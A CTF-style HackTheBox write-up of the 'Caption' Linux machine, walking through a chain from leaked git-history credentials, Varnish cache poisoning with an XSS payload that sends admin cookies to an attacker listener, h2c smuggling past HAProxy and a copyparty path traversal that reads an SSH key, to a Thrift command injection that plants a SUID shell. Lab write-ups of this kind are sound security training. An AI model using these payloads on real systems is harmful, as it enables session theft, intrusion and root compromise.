HTB: Caption Writeup
Caption - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Caption |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Caption is a Hard-difficulty Linux box built around a realistic three-tier reverse-proxy stack — HAProxy fronting a Varnish cache in front of a Flask “Caption Portal” application. The box rewards careful infrastructure review over raw exploitation: a public GitBucket instance leaks credentials through its commit history, a header-reflection bug in the cached Firewalls page enables a Web Cache Deception + stored XSS attack to steal an admin session, and that session is then used to smuggle HTTP/2 cleartext (h2c) requests straight through HAProxy’s Layer-7 ACLs. Behind those ACLs sits an internal copyparty instance vulnerable to CVE-2023-37474, which discloses an SSH private key for the foothold. Root is obtained through an internal Apache Thrift LogService that builds a shell command from attacker-controlled log fields with unsanitized fmt.Sprintf.
TL;DR: GitBucket commit history leak (margo creds) → Web Cache Deception + XSS steals admin session cookie → H2C smuggling bypasses HAProxy ACLs on /logs and /download → CVE-2023-37474 copyparty path traversal reads margo’s SSH key → SSH foothold (user) → Thrift LogService command injection on 127.0.0.1:9090 (root) → SUID bash → root.
Reconnaissance
Port Scanning
# Full TCP sweep first to avoid missing anything outside top-1000, then version/script scan on the open setnmap -p- --min-rate=1000 -T4 -oA caption-full <TARGET_IP>nmap -sC -sV -T4 -p22,80,8080 -oA caption-svc <TARGET_IP>Results: exactly the three ports the box was designed around — nothing more, nothing less:
22/tcp— SSH80/tcp— HTTP, sitting behind a reverse-proxy stack (HAProxy load-balancer in front, Varnish cache in front of a Werkzeug/Flask backend) serving a Caption Portal login page8080/tcp— GitBucket (self-hosted Git web UI)
Service Enumeration
Port 8080 — GitBucket. GitBucket exposed two public repositories: Caption-Portal and Logservice. Caption-Portal contains the source for the login application plus HAProxy/Varnish config folders, confirming the two-layer proxy architecture inferred from the port 80 headers. Logservice contains Go source for an Apache Thrift-based log service — not directly reachable at this stage, but worth remembering for later.
Walking the commit history of Caption-Portal turned up hardcoded HAProxy basic-auth credentials committed and later “fixed” in a subsequent commit — the fix removed the line from the working tree but not from history:
# Clone (or browse) the repo and diff through history for anything removed latergit clone http://<TARGET_IP>:8080/git/caption/Caption-Portal.gitcd Caption-Portalgit log -p -- '*.cfg' '*haproxy*' | grep -i -E 'user|pass|insecure'This surfaced the credential pair:
margo : vFr&cS2#0!Port 80 — Caption Portal. This is the login-gated application sitting behind HAProxy → Varnish → Werkzeug. Reviewing the proxy configs pulled from GitBucket confirmed HAProxy explicitly denies any request whose path begins with /logs or /download at Layer 7 — a control that becomes relevant later once the h2c bypass is in play.
Vulnerability Assessment
- Secret leakage via VCS history —
margo’s HAProxy password survived in old GitBucket commits after being “removed.” - Web Cache Deception / reflected XSS — the Firewalls page reflects the
X-Forwarded-Hostheader into an unsanitizedutm_sourcequery parameter, and the response is cached by Varnish. - HAProxy ACL bypass via H2C smuggling — HAProxy’s path-based deny rules on
/logsand/downloadonly inspect the outer HTTP/1.1 request; an h2c cleartext upgrade tunnels straight past them. - CVE-2023-37474 —
copyparty, reachable only from behind those blocked endpoints, is vulnerable to a double-URL-encoded path traversal that discloses arbitrary files. - Command injection in an internal Thrift RPC service — the
LogServiceReadLogFilehandler builds a shell command withfmt.Sprintfusing an attacker-controlled user-agent field, and runs as root.
Initial Foothold
Step 1 — Log in with leaked credentials
Using the margo:vFr&cS2#0! pair recovered from GitBucket’s commit history against the port 80 Caption Portal login succeeded, granting an authenticated (but low-privileged) session.
Step 2 — Web Cache Deception + stored XSS to steal an admin cookie
Authenticated pages such as Firewalls make a request that reflects the X-Forwarded-Host header value into a utm_source parameter without sanitization, and the whole response is cached by Varnish for a fixed TTL:
# Confirm the header is reflected into the cached responsecurl -s -H "Cookie: session=<margo_session>" \ -H "X-Forwarded-Host: <marker>" \ http://<TARGET_IP>/firewalls | grep -o 'utm_source=[^"&]*'Because Varnish caches the response, not the request, poisoning the cache at exactly the right moment (right as the current cached entry expires) causes the next visitor — an admin browsing the same page — to receive our poisoned copy instead of a fresh one. An XSS payload was crafted to exfiltrate document.cookie to a listener, timed to land at the cache’s expiry boundary so the poisoned response, not a clean one, got cached:
# Listener to catch the stolen admin session cookiepython3 -m http.server 8081
# Fire the header-injected XSS payload precisely as the Varnish cache entry expirescurl -s -H "Cookie: session=<margo_session>" \ -H "X-Forwarded-Host: \"></script><script>new Image().src='http://<LHOST>:8081/?'+document.cookie</script>" \ http://<TARGET_IP>/firewallsAn automated/headless admin session subsequently browsed the poisoned page and its session cookie landed on the listener.
Step 3 — H2C smuggling to bypass HAProxy’s /logs and /download deny rules
With an admin cookie in hand, the /logs and /download endpoints were still blocked by HAProxy’s Layer-7 ACLs. Since Varnish had HTTP/2 cleartext (h2c) support enabled, an h2c upgrade request tunnels a raw connection straight through HAProxy — which forwards the Upgrade/Connection headers without understanding what it’s actually proxying afterward — bypassing its own path-based inspection entirely:
# h2csmuggler establishes the h2c tunnel and issues the request directly to the backend,# skipping HAProxy's ACL evaluation on subsequent requests over that connectionpython3 h2csmuggler.py -x http://<TARGET_IP> http://<TARGET_IP>/logs \ -H "Cookie: session=<stolen_admin_session>"
python3 h2csmuggler.py -x http://<TARGET_IP> http://<TARGET_IP>/download \ -H "Cookie: session=<stolen_admin_session>"This exposed a /download?url= proxy pointing at an internal copyparty instance.
Step 4 — CVE-2023-37474 (copyparty path traversal) to read the SSH key
copyparty (the internal file-sharing service reached through /download) is vulnerable to CVE-2023-37474, a directory traversal reachable via double URL-encoding that defeats naive path-decoding on the proxy hop:
# Double-URL-encode the traversal so it survives HAProxy's decode-then-forward pass intactpython3 h2csmuggler.py -x http://<TARGET_IP> \ "http://<TARGET_IP>/download?url=http://127.0.0.1:PORT/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa" \ -H "Cookie: session=<stolen_admin_session>"This disclosed margo’s private SSH key, which was saved locally and used to authenticate directly:
chmod 600 id_margossh -i id_margo margo@<TARGET_IP>margo@caption:~$ whoamimargomargo@caption:~$ cat user.txt<redacted>Privilege Escalation
Discovering the internal Thrift service
Enumerating locally-bound services on the box revealed an Apache Thrift LogService listening on 127.0.0.1:9090, run as root — the same service whose Go source had already been reviewed in the Logservice GitBucket repo during recon.
# Confirm the service and pull it to the attacker box for interactionss -tulnp | grep 9090Reviewing the Logservice source, the ReadLogFile RPC handler builds a shell command by directly fmt.Sprintf-ing a user-agent field pulled from a log entry into a command string, then executes it — classic unsanitized string-built command execution, just reached over Thrift RPC instead of an HTTP form field.
Tunneling the service out and building a Thrift client
Since the service only listens on loopback, a tunnel was needed to reach it from the attacker box, and since Thrift is a compiled binary protocol (not something you can just curl), a matching client had to be built from the cloned Logservice source rather than crafted by hand:
# Pivot the internal Thrift port out to the attacker boxchisel server -p 8000 --reverse & # attacker side./chisel client <ATTACKER_IP>:8000 R:9090:127.0.0.1:9090 & # run on caption via the margo SSH session
# Generate a Go Thrift client stub from the cloned Logservice IDL/sourcethrift --gen go logservice.thriftExploiting the fmt.Sprintf command injection
A malicious Go client was built against the generated stubs to call ReadLogFile with a crafted user-agent field, injecting shell metacharacters that fmt.Sprintf happily concatenated into the command the root-owned service executes:
// Injected user-agent field breaks out of the intended log-read command// and appends our own command via shell metacharactersuserAgent := "malicious-agent; cp /bin/bash /tmp/bash; chmod u+s /tmp/bash; #"# Run the crafted client against the tunneled Thrift portgo run client.goBecause LogService runs as root, the injected command ran as root too, dropping a SUID copy of bash:
margo@caption:~$ /tmp/bash -pbash-5.1# whoamirootbash-5.1# cat /root/root.txt<redacted>Attack Chain Summary
GitBucket commit-history secret leak (margo:vFr&cS2#0!) │ ▼Caption Portal login (margo) │ ▼X-Forwarded-Host reflection → Web Cache Deception + stored XSS │ ▼Stolen admin session cookie │ ▼H2C smuggling → bypass HAProxy ACLs on /logs and /download │ ▼CVE-2023-37474 (copyparty path traversal) → margo's id_ecdsa │ ▼SSH foothold as margo → user.txt │ ▼chisel tunnel → root-owned Thrift LogService (127.0.0.1:9090) │ ▼fmt.Sprintf command injection in ReadLogFile → SUID /tmp/bash │ ▼root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service identification |
GitBucket (web UI / git log) | Mining commit history for leaked HAProxy credentials |
curl | Testing X-Forwarded-Host reflection and delivering the XSS payload |
python3 -m http.server | Catching the exfiltrated admin session cookie |
h2csmuggler | HTTP/2 cleartext (h2c) smuggling to bypass HAProxy ACLs |
| copyparty CVE-2023-37474 exploit (double-encoded traversal) | Reading margo’s SSH private key |
ssh | Authenticating as margo with the recovered key |
chisel | Tunneling the internal Thrift port (9090) out to the attacker box |
thrift compiler + custom Go client | Crafting the malicious ReadLogFile RPC call |
Key Learnings
Techniques Practiced
- Mining VCS (GitBucket) commit history for secrets removed from the working tree but not from history
- Web Cache Deception combined with reflected/stored XSS via a proxy-trusted header (
X-Forwarded-Host) - Timing cache poisoning against a fixed-TTL Varnish cache to land a payload for a specific victim
- HTTP/2 cleartext (h2c) request smuggling to bypass Layer-7 ACLs on a proxy that isn’t h2c-aware
- Exploiting CVE-2023-37474 (copyparty path traversal) through a double URL-encoded payload
- Reviewing Thrift IDL/Go source to identify and reach an internal RPC-based command injection
- Building a custom Thrift client from source to exploit a service with no HTTP-accessible interface
Lessons Learned
- Removing a secret in a later commit does not remove it from version control history — always check
git log -p, not just the current tree. - Any header a proxy trusts and reflects into a cacheable response (
X-Forwarded-Hosthere) is a cache-poisoning primitive, not just a logging convenience. - A proxy that forwards
Upgrade/Connectionheaders to an h2c-capable backend without itself understanding HTTP/2 loses all visibility — and enforcement — over everything sent inside that tunnel. - Internal-only services are not a security boundary by themselves; once a tunnel or smuggling primitive reaches them, they need the same input validation as anything internet-facing.
fmt.Sprintf-based command construction is exactly as dangerous as string-concatenated shell commands in any other language — build commands with argument arrays, never string interpolation, especially from attacker-influenced log fields.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- xRogue, Caption — Official HackTheBox Writeup (Document No. D25.100.320), used here only to confirm the CVE identifier and explain the mechanics of the Web Cache Deception, H2C smuggling, and copyparty traversal steps. All IPs, credentials, commands, and outputs above are from this run’s own solve.